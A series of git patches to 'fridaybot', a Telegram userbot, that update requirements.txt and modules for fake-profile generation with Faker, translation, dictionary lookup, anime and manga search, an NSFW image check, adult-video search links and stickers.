5145f5cbb63710179a1ddb7903e965fb9d819f87 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sun, 17 Jan 2021 20:26:08 +0530 Subject: [PATCH 610/838] Update requirements.txt --- requirements.txt | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/requirements.txt b/requirements.txt index e8f1a077..df1b3133 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,4 +1,5 @@ Pillow +cryptg nospamplus pymediainfo quote @@ -18,6 +19,7 @@ aiohttp bs4 coffeehouse cowpy +cryptg emoji gTTS-token>=1.1.3 gTTS>=2.0.1 @@ -57,6 +59,7 @@ tswift urbandict>=0.5 wikipedia>=1.4.0 youtube-search +youtube-search-python==1.3.5 covid scapy scipy @@ -64,7 +67,6 @@ password_strength pyjokes cryptocompare cryptosteganography -faker apscheduler cryptg pokedex.py @@ -75,14 +77,15 @@ QScintilla cfscrape requests_html flask -cryptg yahoo_fin anime_downloader pandas pydub validators +googletrans spamwatch nekos.py +deep_translator pornhub-api countryinfo emoji-country-flag @@ -91,4 +94,3 @@ fontTools PyDictionary beautifulsoup4 bs4 -googletrans From 5276051571a8d4476b1d69c1fd3526a1f6bca7d7 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sun, 17 Jan 2021 20:33:36 +0530 Subject: [PATCH 611/838] Update requirements.txt --- requirements.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/requirements.txt b/requirements.txt index df1b3133..d460ca11 100644 --- a/requirements.txt +++ b/requirements.txt @@ -63,6 +63,7 @@ youtube-search-python==1.3.5 covid scapy scipy +faker password_strength pyjokes cryptocompare From b7139022076c05279fdbd13197b281334d011d92 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sun, 17 Jan 2021 20:33:57 +0530 Subject: [PATCH 612/838] Update requirements.txt --- requirements.txt | 1 - 1 file changed, 1 deletion(-) diff --git a/requirements.txt b/requirements.txt index d460ca11..238f6a4c 100644 --- a/requirements.txt +++ b/requirements.txt @@ -83,7 +83,6 @@ anime_downloader pandas pydub validators -googletrans spamwatch nekos.py deep_translator From f0e8576fe64c88bf2735ce4e4124d5cc5c026642 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sun, 17 Jan 2021 21:25:06 +0530 Subject: [PATCH 613/838] Update requirements.txt --- requirements.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/requirements.txt b/requirements.txt index 238f6a4c..0f8276af 100644 --- a/requirements.txt +++ b/requirements.txt @@ -91,6 +91,6 @@ countryinfo emoji-country-flag langdetect fontTools -PyDictionary +googletrans beautifulsoup4 bs4 From 8c64175fd51c478a1e8739d6722085928d502100 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sun, 17 Jan 2021 21:54:01 +0530 Subject: [PATCH 614/838] Update fakegen.py --- fridaybot/modules/fakegen.py | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/fridaybot/modules/fakegen.py b/fridaybot/modules/fakegen.py index c7d319e8..d26799ad 100644 --- a/fridaybot/modules/fakegen.py +++ b/fridaybot/modules/fakegen.py @@ -37,13 +37,13 @@ async def hi(event): await event.edit( f" Fake Information Generated\nName :-{name}\n\nAddress:-{address}\n\nIP ADDRESS:-{ip}\n\ncredit card:-{cc}\n\nEmail Id:-{email}\n\nJob:-{job}\n\nandroid user agent:-{android}\n\nPc user agent:-{pc}", parse_mode="HTML", - ) + ) -CMD_HELP.update( - { - "fakegen": "**Fake information Generator**\ -\n\n**Syntax : **`.fakegen`\ -\n**Usage :** Automatically generates fake information." - } +CMD_HELP.update( + { + "fakegen": "**Fake Information Generator**\ +\n\n**Syntax : **`.fakegen`\ +\n**Usage :** Generates Fake Information." + } ) From f93354d27c34c7189d0d62bc616b4bc9163266a3 Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Sun, 17 Jan 2021 16:24:52 +0000 Subject: [PATCH 615/838] pylint: auto fixes --- fridaybot/modules/fakegen.py | 68 ++++++++++++++++++------------------ 1 file changed, 34 insertions(+), 34 deletions(-) diff --git a/fridaybot/modules/fakegen.py b/fridaybot/modules/fakegen.py index d26799ad..5f569314 100644 --- a/fridaybot/modules/fakegen.py +++ b/fridaybot/modules/fakegen.py @@ -1,42 +1,42 @@ -# Copyright (C) @chsaiujwal 2020 -# This program is free software: you can redistribute it and/or modify -# it under the terms of the GNU Affero General Public License as published by -# the Free Software Foundation, either version 3 of the License, or -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU Affero General Public License for more details. -# -# You should have received a copy of the GNU Affero General Public License -# along with this program. If not, see . +# Copyright (C) @chsaiujwal 2020 +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU Affero General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Affero General Public License for more details. +# +# You should have received a copy of the GNU Affero General Public License +# along with this program. If not, see . -from faker import Faker -from faker.providers import internet -from uniborg.util import friday_on_cmd +from faker import Faker +from faker.providers import internet +from uniborg.util import friday_on_cmd -from fridaybot import CMD_HELP +from fridaybot import CMD_HELP -@friday.on(friday_on_cmd(pattern=r"fakegen")) -async def hi(event): - if event.fwd_from: - return - fake = Faker() - print("FAKE DETAILS GENERATED\n") - name = str(fake.name()) - fake.add_provider(internet) - address = str(fake.address()) - ip = fake.ipv4_private() - cc = fake.credit_card_full() - email = fake.ascii_free_email() - job = fake.job() - android = fake.android_platform_token() - pc = fake.chrome() - await event.edit( - f" Fake Information Generated\nName :-{name}\n\nAddress:-{address}\n\nIP ADDRESS:-{ip}\n\ncredit card:-{cc}\n\nEmail Id:-{email}\n\nJob:-{job}\n\nandroid user agent:-{android}\n\nPc user agent:-{pc}", - parse_mode="HTML", +@friday.on(friday_on_cmd(pattern=r"fakegen")) +async def hi(event): + if event.fwd_from: + return + fake = Faker() + print("FAKE DETAILS GENERATED\n") + name = str(fake.name()) + fake.add_provider(internet) + address = str(fake.address()) + ip = fake.ipv4_private() + cc = fake.credit_card_full() + email = fake.ascii_free_email() + job = fake.job() + android = fake.android_platform_token() + pc = fake.chrome() + await event.edit( + f" Fake Information Generated\nName :-{name}\n\nAddress:-{address}\n\nIP ADDRESS:-{ip}\n\ncredit card:-{cc}\n\nEmail Id:-{email}\n\nJob:-{job}\n\nandroid user agent:-{android}\n\nPc user agent:-{pc}", + parse_mode="HTML", ) From dbf9011b039ad94cac821af435afad9b307cf6b1 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sun, 17 Jan 2021 22:10:14 +0530 Subject: [PATCH 616/838] Update requirements.txt --- requirements.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/requirements.txt b/requirements.txt index 0f8276af..21365718 100644 --- a/requirements.txt +++ b/requirements.txt @@ -24,6 +24,7 @@ emoji gTTS-token>=1.1.3 gTTS>=2.0.1 geopy +howdoi gitpython nospamplus google-api-python-client==1.8.0 From 50ba14619ed4352e6c2156ba45f74d671d18787c Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Mon, 18 Jan 2021 06:44:52 +0530 Subject: [PATCH 617/838] Update translate.py --- fridaybot/modules/translate.py | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-) diff --git a/fridaybot/modules/translate.py b/fridaybot/modules/translate.py index 7de6dd69..a47c1651 100644 --- a/fridaybot/modules/translate.py +++ b/fridaybot/modules/translate.py @@ -5,8 +5,9 @@ from deep_translator import GoogleTranslator from googletrans import LANGUAGES +from google_trans_new import google_translator from langdetect import detect - +import requests from fridaybot import CMD_HELP from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd @@ -28,12 +29,14 @@ async def _(event): else: await edit_or_reply(event, "`.tr LanguageCode` as reply to a message") return + lan = lan.strip() try: + translator = google_translator() + translated = translator.translate(text ,lang_tgt=lan) lmao_bruh = text lmao = detect(text) after_tr_text = lmao - translated = GoogleTranslator(source="auto", target=lan).translate(lmao_bruh) source_lan = LANGUAGES[after_tr_text] transl_lan = LANGUAGES[lan] output_str = f"""**TRANSLATED SUCCESSFULLY** @@ -41,6 +44,7 @@ async def _(event): `{text}` **Translation ({transl_lan})**: `{translated}`""" + if len(output_str) >= 4096: out_file = output_str url = "https://del.dog/documents" @@ -50,9 +54,8 @@ async def _(event): else: starky = output_str await edit_or_reply(event, starky) - except Exception as exc: - await edit_or_reply(event, str(exc)) - + except Exception as e: + print(e) CMD_HELP.update( { From 3cf8d53e0051151ff89fb64b78cfeddc0f47ded4 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Mon, 18 Jan 2021 06:46:19 +0530 Subject: [PATCH 618/838] =?UTF-8?q?=F0=9F=A4=94=20hmm?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- requirements.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/requirements.txt b/requirements.txt index 21365718..c7fb8e60 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,4 +1,5 @@ Pillow +google-trans-new cryptg nospamplus pymediainfo From 2a4fc8f9c39156946719468dd43250af57f970fa Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Mon, 18 Jan 2021 01:17:14 +0000 Subject: [PATCH 619/838] pylint: auto fixes --- fridaybot/modules/translate.py | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/fridaybot/modules/translate.py b/fridaybot/modules/translate.py index a47c1651..52734a40 100644 --- a/fridaybot/modules/translate.py +++ b/fridaybot/modules/translate.py @@ -3,11 +3,11 @@ .tr LanguageCode as reply to a message .tr LangaugeCode | text to translate""" -from deep_translator import GoogleTranslator -from googletrans import LANGUAGES +import requests from google_trans_new import google_translator +from googletrans import LANGUAGES from langdetect import detect -import requests + from fridaybot import CMD_HELP from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd @@ -33,8 +33,7 @@ async def _(event): lan = lan.strip() try: translator = google_translator() - translated = translator.translate(text ,lang_tgt=lan) - lmao_bruh = text + translated = translator.translate(text, lang_tgt=lan) lmao = detect(text) after_tr_text = lmao source_lan = LANGUAGES[after_tr_text] @@ -44,7 +43,7 @@ async def _(event): `{text}` **Translation ({transl_lan})**: `{translated}`""" - + if len(output_str) >= 4096: out_file = output_str url = "https://del.dog/documents" @@ -55,7 +54,8 @@ async def _(event): starky = output_str await edit_or_reply(event, starky) except Exception as e: - print(e) + print(e) + CMD_HELP.update( { From eaa8db351606e85983e58c7f2b626dff9d3e6ea5 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Mon, 18 Jan 2021 17:42:51 +0530 Subject: [PATCH 620/838] Update dictionary.py --- fridaybot/modules/dictionary.py | 88 +++++++++++++++++---------------- 1 file changed, 46 insertions(+), 42 deletions(-) diff --git a/fridaybot/modules/dictionary.py b/fridaybot/modules/dictionary.py index 2769c059..ac4d3518 100644 --- a/fridaybot/modules/dictionary.py +++ b/fridaybot/modules/dictionary.py @@ -1,55 +1,59 @@ -"""Syntax: .meaning """ - import requests -from uniborg.util import admin_cmd +try: + from nltk.corpus import wordnet +except: + import nltk + nltk.download('wordnet') + from nltk.corpus import wordnet +from uniborg.util import edit_or_reply, friday_on_cmd, sudo_cmd -from fridaybot import CMD_HELP +from fridaybot import CMD_HELP -@borg.on(admin_cmd("meaning (.*)")) -async def _(event): - if event.fwd_from: - return +@friday.on(friday_on_cmd("meaning (.*)")) +@friday.on(sudo_cmd("meaning (.*)", allow_sudo=True)) +async def _(event): + omg = await edit_or_reply(event, "Finding Meaning.....") + if event.fwd_from: + return input_str = event.pattern_match.group(1) - input_url = "https://bots.shrimadhavuk.me/dictionary/?s={}".format(input_str) - headers = {"USER-AGENT": "UniBorg"} - caption_str = f"Meaning of __{input_str}__\n" - try: - response = requests.get(input_url, headers=headers).json() - pronounciation = response.get("p") - meaning_dict = response.get("lwo") - for current_meaning in meaning_dict: - current_meaning_type = current_meaning.get("type") - current_meaning_definition = current_meaning.get("definition") - caption_str += ( - f"**{current_meaning_type}**: {current_meaning_definition}\n\n" - ) - except Exception as e: - caption_str = str(e) - reply_msg_id = event.message.id - if event.reply_to_msg_id: - reply_msg_id = event.reply_to_msg_id try: - await borg.send_file( - event.chat_id, - pronounciation, - caption=f"Pronounciation of __{input_str}__", - force_document=False, - reply_to=reply_msg_id, - allow_cache=True, - voice_note=True, - silent=True, - supports_streaming=True, - ) + try: + syns = wordnet.synsets(input_str) + except: + import nltk + nltk.download('wordnet') + from nltk.corpus import wordnet + syns = wordnet.synsets(input_str) + Kk = 0 + for X in syns: + Kk +=1 + pop = 0 + kok = 1 + + messi = "" + for pop in range(Kk): + messi += str(syns[pop].definition())+"; \n" + pop +=1 + mil = syns[0].examples() + if [] == mil: + mil = input_str+"..." + await omg.edit(f" meaning of {input_str} is:-\n{messi}.\n\nExample:- \n{mil}",parse_mode="HTML") + else: + milo = "" + for lm in mil: + milo += lm+"; \n" + await omg.edit(f" meaning of {input_str} is:-\n{messi}\n\nExamples:- \n{milo}",parse_mode="HTML") except: - pass - await event.edit(caption_str) + await omg.edit(f" Meaning Not Found", parse_mode="HTML") + CMD_HELP.update( { - "dictionary": "**Dictionary**\ -\n\n**Syntax : **`.meaning `\ -\n**Usage :** Get meaning and pronunciation of a word." + "dictionary": "**Dictionary**\ +\n\n**Syntax : **`.meaning `\ +\n**Usage :** Gives meaning of the word.\ +\n**Example :** `.meaning hi`" } ) From d13b74c61218522fb3c3655427f70372423df8be Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Mon, 18 Jan 2021 17:43:37 +0530 Subject: [PATCH 621/838] Update requirements.txt --- requirements.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/requirements.txt b/requirements.txt index c7fb8e60..876964bd 100644 --- a/requirements.txt +++ b/requirements.txt @@ -66,6 +66,7 @@ covid scapy scipy faker +mal-api password_strength pyjokes cryptocompare From ee6baf09ef9d862cb16286b52153a2d4053dfe75 Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Mon, 18 Jan 2021 12:14:28 +0000 Subject: [PATCH 622/838] pylint: auto fixes --- fridaybot/modules/dictionary.py | 91 ++++++++++++++++++--------------- 1 file changed, 49 insertions(+), 42 deletions(-) diff --git a/fridaybot/modules/dictionary.py b/fridaybot/modules/dictionary.py index ac4d3518..1ec7560d 100644 --- a/fridaybot/modules/dictionary.py +++ b/fridaybot/modules/dictionary.py @@ -1,57 +1,64 @@ -import requests try: - from nltk.corpus import wordnet + from nltk.corpus import wordnet except: - import nltk - nltk.download('wordnet') - from nltk.corpus import wordnet -from uniborg.util import edit_or_reply, friday_on_cmd, sudo_cmd + import nltk -from fridaybot import CMD_HELP + nltk.download("wordnet") + from nltk.corpus import wordnet +from uniborg.util import edit_or_reply, friday_on_cmd, sudo_cmd -@friday.on(friday_on_cmd("meaning (.*)")) -@friday.on(sudo_cmd("meaning (.*)", allow_sudo=True)) -async def _(event): - omg = await edit_or_reply(event, "Finding Meaning.....") - if event.fwd_from: - return +from fridaybot import CMD_HELP + + +@friday.on(friday_on_cmd("meaning (.*)")) +@friday.on(sudo_cmd("meaning (.*)", allow_sudo=True)) +async def _(event): + omg = await edit_or_reply(event, "Finding Meaning.....") + if event.fwd_from: + return input_str = event.pattern_match.group(1) try: - try: - syns = wordnet.synsets(input_str) - except: - import nltk - nltk.download('wordnet') - from nltk.corpus import wordnet - syns = wordnet.synsets(input_str) - Kk = 0 - for X in syns: - Kk +=1 - pop = 0 - kok = 1 - - messi = "" - for pop in range(Kk): - messi += str(syns[pop].definition())+"; \n" - pop +=1 - mil = syns[0].examples() - if [] == mil: - mil = input_str+"..." - await omg.edit(f" meaning of {input_str} is:-\n{messi}.\n\nExample:- \n{mil}",parse_mode="HTML") - else: - milo = "" - for lm in mil: - milo += lm+"; \n" - await omg.edit(f" meaning of {input_str} is:-\n{messi}\n\nExamples:- \n{milo}",parse_mode="HTML") - except: - await omg.edit(f" Meaning Not Found", parse_mode="HTML") + try: + syns = wordnet.synsets(input_str) + except: + import nltk + nltk.download("wordnet") + from nltk.corpus import wordnet + + syns = wordnet.synsets(input_str) + Kk = 0 + for X in syns: + Kk += 1 + pop = 0 + + messi = "" + for pop in range(Kk): + messi += str(syns[pop].definition()) + "; \n" + pop += 1 + mil = syns[0].examples() + if [] == mil: + mil = input_str + "..." + await omg.edit( + f" meaning of {input_str} is:-\n{messi}.\n\nExample:- \n{mil}", + parse_mode="HTML", + ) + else: + milo = "" + for lm in mil: + milo += lm + "; \n" + await omg.edit( + f" meaning of {input_str} is:-\n{messi}\n\nExamples:- \n{milo}", + parse_mode="HTML", + ) + except: + await omg.edit(f" Meaning Not Found", parse_mode="HTML") CMD_HELP.update( { - "dictionary": "**Dictionary**\ + "dictionary": "**Dictionary**\ \n\n**Syntax : **`.meaning `\ \n**Usage :** Gives meaning of the word.\ \n**Example :** `.meaning hi`" From e05ce29814a3d3b41effe4418aa0f17c40cf02af Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Mon, 18 Jan 2021 17:44:55 +0530 Subject: [PATCH 623/838] Update requirements.txt --- requirements.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/requirements.txt b/requirements.txt index 876964bd..d28ecd5e 100644 --- a/requirements.txt +++ b/requirements.txt @@ -25,7 +25,7 @@ emoji gTTS-token>=1.1.3 gTTS>=2.0.1 geopy -howdoi +git+https://github.com/gleitz/howdoi gitpython nospamplus google-api-python-client==1.8.0 From 5189e3b217a4bdce8c3f2bc53bb24c3c34978b28 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Mon, 18 Jan 2021 17:45:45 +0530 Subject: [PATCH 624/838] Update anime.py --- fridaybot/modules/anime.py | 116 ++++++++++++++++++++++++++++++++++--- 1 file changed, 107 insertions(+), 9 deletions(-) diff --git a/fridaybot/modules/anime.py b/fridaybot/modules/anime.py index cd9e7aa4..bafff6db 100644 --- a/fridaybot/modules/anime.py +++ b/fridaybot/modules/anime.py @@ -2,20 +2,29 @@ from fridaybot import CMD_HELP from fridaybot.utils import admin_cmd - +from mal import AnimeSearch, Anime, MangaSearch, Manga @friday.on(admin_cmd(pattern="anime (.*)")) async def _(event): if event.fwd_from: return input_str = event.pattern_match.group(1) + ommhg = await event.reply("Searching For Anime.....") lmao = input_str.split(":", 1) - site = lmao[0] - lol = lmao[1] + try: + site = lmao[1] + except: + site = "animeonline360" + await event.reply("Please Provide Site Name From Next Time. Now Continuing With Default Site.") + + lol = lmao[0] why = site.lower() Twist = get_anime_class(why) - search = Twist.search(lol) + try: + search = Twist.search(lol) + except: + await ommhg.edit("Please Try Different Site. Given Site Is Down.") title1 = search[0].title url1 = search[0].url @@ -29,17 +38,106 @@ async def _(event): url5 = search[4].url await event.edit( - f"Anime Search Complete \n\n\nTitle:- {title1} \nURL Link:- {url1}\n\nTitle:- {title2} \nURL Link:- {url2}\n\nTitle:- {title3} \nURL Link:- {url3}\n\nTitle:- {title4} \nURL Link:- {url4}\n\nTitle:- {title5} \nURL Link:- {url5}", + f"Anime Search Complete \n\n\nTitle:- {title1} \nURL Link:- {url1}\n\nTitle:- {title2} \nURL Link:- {url2}\n\nTitle:- {title3}\nURL Link:- {url3}\n\nTitle:- {title4} \nURL Link:- {url4}\n\nTitle:- {title5} \nURL Link:- {url5}\n\nLinks Gathered By Friday\nGet Your Own Friday From @FRIDAYCHAT", + parse_mode="HTML", + ) + await ommhg.delete() + + +@friday.on(admin_cmd(pattern="ainfo (.*)")) +async def _(event): + if event.fwd_from: + return + input_str = event.pattern_match.group(1) + await event.edit("Please Wait....🚶‍♂️🚶‍♂️🚶‍♂️") + search = AnimeSearch(input_str) + ID = search.results[0].mal_id + anime = Anime(ID) + jp = "" + for x in anime.genres: + jp += x + "; " + link = anime.image_url + if link == None: + link = search.results[0].image_url + By = f"""Anime Information Gathered +tlele:- {search.results[0].title} +Mal ID:- {search.results[0].mal_id} +Url:- {search.results[0].url} +Type:- {search.results[0].type} +Episodes:- {search.results[0].episodes} +Score:- {search.results[0].score} +Synopsis:- {search.results[0].synopsis} +Status:- {anime.status} +Genres:- {jp} +Duration:- {anime.duration} +Popularity:- {anime.popularity} +Rank:- {anime.rank} +favorites:- {anime.favorites} +""" + await borg.send_message( + event.chat_id, + By, parse_mode="HTML", + file=link, + force_document=False, + silent=True, ) + await event.delete() + + +@friday.on(admin_cmd(pattern="manga (.*)")) +async def _(event): + if event.fwd_from: + return + input_str = event.pattern_match.group(1) + await event.edit("Please Wait....🚶‍♂️🚶‍♂️🚶‍♂️") + search = MangaSearch(input_str) + ID = search.results[0].mal_id + manga = Manga(ID) + jp = "" + for x in manga.genres: + jp += x + "; " + link = manga.image_url + if link == None: + link = search.results[0].image_url + By = f"""manga Information Gathered +tlele:- {search.results[0].title} +Mal ID:- {search.results[0].mal_id} +Url:- {search.results[0].url} +Type:- {search.results[0].type} +volumes:- {search.results[0].volumes} +Score:- {search.results[0].score} +Synopsis:- {search.results[0].synopsis} +Status:- {manga.status} +Genres:- {jp} +Chapters:- {manga.chapters} +Popularity:- {manga.popularity} +Rank:- {manga.rank} +favorites:- {manga.favorites} +""" + await borg.send_message( + event.chat_id, + By, + parse_mode="HTML", + file=link, + force_document=False, + silent=True, + ) + await event.delete() + + CMD_HELP.update( { - "anime": "**Anime**\ -\n\n**Syntax : **`.anime `\ + "animeWorld": "**Anime World**\ +\n\n**Syntax : **`.ainfo `\ +\n**Usage :** Gives anime information.\ +\n\n**Syntax : **`.manga `\ +\n**Usage :** Gives manga information.\ +\n\n**Syntax : **`.anime `\ \n**Usage :** Automatically Gets Streaming Link Of The Anime.\ -\n**Example :** `.anime twist.moe:one piece`\ -\n**Note** :** Get Site names list from [Here](https://fridayanime.netlify.app/)." +\n**Example :** `.anime one piece:twist.moe`\ +\n**Note** :** Get Site names list from [Here](https://devsexpoanime.netlify.app/)." } ) From be4de128ce66bb8b1c7c8c0e2606035b2b311a4f Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Mon, 18 Jan 2021 12:16:28 +0000 Subject: [PATCH 625/838] pylint: auto fixes --- fridaybot/modules/anime.py | 25 +++++++++++++------------ 1 file changed, 13 insertions(+), 12 deletions(-) diff --git a/fridaybot/modules/anime.py b/fridaybot/modules/anime.py index bafff6db..623cf0da 100644 --- a/fridaybot/modules/anime.py +++ b/fridaybot/modules/anime.py @@ -1,8 +1,9 @@ from anime_downloader.sites import get_anime_class +from mal import Anime, AnimeSearch, Manga, MangaSearch from fridaybot import CMD_HELP from fridaybot.utils import admin_cmd -from mal import AnimeSearch, Anime, MangaSearch, Manga + @friday.on(admin_cmd(pattern="anime (.*)")) async def _(event): @@ -12,19 +13,21 @@ async def _(event): ommhg = await event.reply("Searching For Anime.....") lmao = input_str.split(":", 1) try: - site = lmao[1] + site = lmao[1] except: - site = "animeonline360" - await event.reply("Please Provide Site Name From Next Time. Now Continuing With Default Site.") + site = "animeonline360" + await event.reply( + "Please Provide Site Name From Next Time. Now Continuing With Default Site." + ) lol = lmao[0] why = site.lower() Twist = get_anime_class(why) try: - search = Twist.search(lol) + search = Twist.search(lol) except: - await ommhg.edit("Please Try Different Site. Given Site Is Down.") + await ommhg.edit("Please Try Different Site. Given Site Is Down.") title1 = search[0].title url1 = search[0].url @@ -55,10 +58,10 @@ async def _(event): anime = Anime(ID) jp = "" for x in anime.genres: - jp += x + "; " + jp += x + "; " link = anime.image_url if link == None: - link = search.results[0].image_url + link = search.results[0].image_url By = f"""Anime Information Gathered tlele:- {search.results[0].title} Mal ID:- {search.results[0].mal_id} @@ -96,10 +99,10 @@ async def _(event): manga = Manga(ID) jp = "" for x in manga.genres: - jp += x + "; " + jp += x + "; " link = manga.image_url if link == None: - link = search.results[0].image_url + link = search.results[0].image_url By = f"""manga Information Gathered tlele:- {search.results[0].title} Mal ID:- {search.results[0].mal_id} @@ -126,8 +129,6 @@ async def _(event): await event.delete() - - CMD_HELP.update( { "animeWorld": "**Anime World**\ From 31a8c5a05b146b9797795a9fa76cb47126d13cef Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Mon, 18 Jan 2021 17:49:40 +0530 Subject: [PATCH 626/838] Update nsfw.py --- fridaybot/modules/nsfw.py | 38 +++++++++++++++++++------------------- 1 file changed, 19 insertions(+), 19 deletions(-) diff --git a/fridaybot/modules/nsfw.py b/fridaybot/modules/nsfw.py index 0841c500..f74ec03e 100644 --- a/fridaybot/modules/nsfw.py +++ b/fridaybot/modules/nsfw.py @@ -13,12 +13,12 @@ import os import requests -from pornhub_api import PornhubApi from telethon.tl.types import MessageMediaPhoto -from uniborg.util import friday_on_cmd from fridaybot import CMD_HELP, pro -from fridaybot.utils import admin_cmd, friday_on_cmd, sudo_cmd +from fridaybot.utils import friday_on_cmd, sudo_cmd, admin_cmd +from pornhub_api import PornhubApi +from uniborg.util import friday_on_cmd if pro == True: @@ -29,6 +29,7 @@ async def nsfw(event): await event.edit("`Processing..`") sed = await event.get_reply_message() photo = None + sedpath = "./fridaydevs/" if sed and sed.media: if isinstance(sed.media, MessageMediaPhoto): photo = await borg.download_media(sed.media, sedpath) @@ -51,33 +52,30 @@ async def nsfw(event): if os.path.exists(photo): os.remove(photo) + @friday.on(admin_cmd(pattern="phs (.*)")) async def _(event): if event.fwd_from: return input_str = event.pattern_match.group(1) api = PornhubApi() - data = api.search.search(input_str, ordering="mostviewed") + data = api.search.search( + input_str, + ordering="mostviewed" + ) ok = 1 oik = "" for vid in data.videos: - if ok <= 5: - oik += f""" + if ok<=5: + oik +=(f""" Video title:- {vid.title} Video link:- https://www.pornhub.com/view_video.php?viewkey={vid.video_id} - """ - ok = ok + 1 - else: - pass + """) + ok = ok+1 + else: + pass - oiko = ( - "Links Generated Successfully" - + "\n" - + "Search Query:- " - + input_str - + "\n" - + oik - ) + oiko = "Links Generated Successfully"+"\n"+"Search Query:- "+input_str+"\n"+oik await borg.send_message( event.chat_id, @@ -87,10 +85,12 @@ async def _(event): await event.delete() + + CMD_HELP.update( { "nsfw": "**NSFW**\ -\n A PRO PLUGIN.. ONLY FOR PRO's\ +\n\n ** A PRO PLUGIN **\ \n\n**Syntax : **`.nsfw `\ \n**Usage :** Checks if the replyed image is nsfw or not.\ \n\n**Syntax : **`.phs `\ From b762b46cda2a506262fef9ae1db5cc9fd049d22a Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Mon, 18 Jan 2021 12:22:08 +0000 Subject: [PATCH 627/838] pylint: auto fixes --- fridaybot/modules/nsfw.py | 35 ++++++++++++++++++----------------- 1 file changed, 18 insertions(+), 17 deletions(-) diff --git a/fridaybot/modules/nsfw.py b/fridaybot/modules/nsfw.py index f74ec03e..914a9b41 100644 --- a/fridaybot/modules/nsfw.py +++ b/fridaybot/modules/nsfw.py @@ -13,12 +13,12 @@ import os import requests +from pornhub_api import PornhubApi from telethon.tl.types import MessageMediaPhoto +from uniborg.util import friday_on_cmd from fridaybot import CMD_HELP, pro -from fridaybot.utils import friday_on_cmd, sudo_cmd, admin_cmd -from pornhub_api import PornhubApi -from uniborg.util import friday_on_cmd +from fridaybot.utils import admin_cmd, friday_on_cmd, sudo_cmd if pro == True: @@ -52,30 +52,33 @@ async def nsfw(event): if os.path.exists(photo): os.remove(photo) - @friday.on(admin_cmd(pattern="phs (.*)")) async def _(event): if event.fwd_from: return input_str = event.pattern_match.group(1) api = PornhubApi() - data = api.search.search( - input_str, - ordering="mostviewed" - ) + data = api.search.search(input_str, ordering="mostviewed") ok = 1 oik = "" for vid in data.videos: - if ok<=5: - oik +=(f""" + if ok <= 5: + oik += f""" Video title:- {vid.title} Video link:- https://www.pornhub.com/view_video.php?viewkey={vid.video_id} - """) - ok = ok+1 - else: - pass + """ + ok = ok + 1 + else: + pass - oiko = "Links Generated Successfully"+"\n"+"Search Query:- "+input_str+"\n"+oik + oiko = ( + "Links Generated Successfully" + + "\n" + + "Search Query:- " + + input_str + + "\n" + + oik + ) await borg.send_message( event.chat_id, @@ -85,8 +88,6 @@ async def _(event): await event.delete() - - CMD_HELP.update( { "nsfw": "**NSFW**\ From 21a6358b3fcbb49139c1ec54af587587494062bd Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Mon, 18 Jan 2021 17:54:13 +0530 Subject: [PATCH 628/838] Update stickers.py --- fridaybot/modules/stickers.py | 58 +++++++++++++++-------------------- 1 file changed, 24 insertions(+), 34 deletions(-) diff --git a/fridaybot/modules/stickers.py b/fridaybot/modules/stickers.py index a9a74db3..fd41c429 100644 --- a/fridaybot/modules/stickers.py +++ b/fridaybot/modules/stickers.py @@ -9,7 +9,8 @@ import os import zipfile from collections import defaultdict - +from io import BytesIO +from fridaybot.function import convert_to_image, crop_vid, runcmd from PIL import Image from telethon.errors import MessageNotModifiedError from telethon.errors.rpcerrorlist import StickersetInvalidError @@ -22,9 +23,12 @@ ) from fridaybot import ALIVE_NAME, CMD_HELP -from fridaybot.function import convert_to_image from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd +sedpath = Config.TMP_DOWNLOAD_DIRECTORY +if not os.path.isdir(sedpath): + os.makedirs(sedpath) + DEFAULTUSER = str(ALIVE_NAME) if ALIVE_NAME else "Who is this" FILLED_UP_DADDY = "Invalid pack selected." @@ -53,36 +57,27 @@ async def _(event): user.username = user.id pack = 1 userid = event.sender_id - # packname = f"FRIDAY PACK" - # packshortname = f"FRIDAY_{userid}_ns" # format: Uni_Borg_userid - if userid == 1141839926: - packname = f"@Infinity_Bots 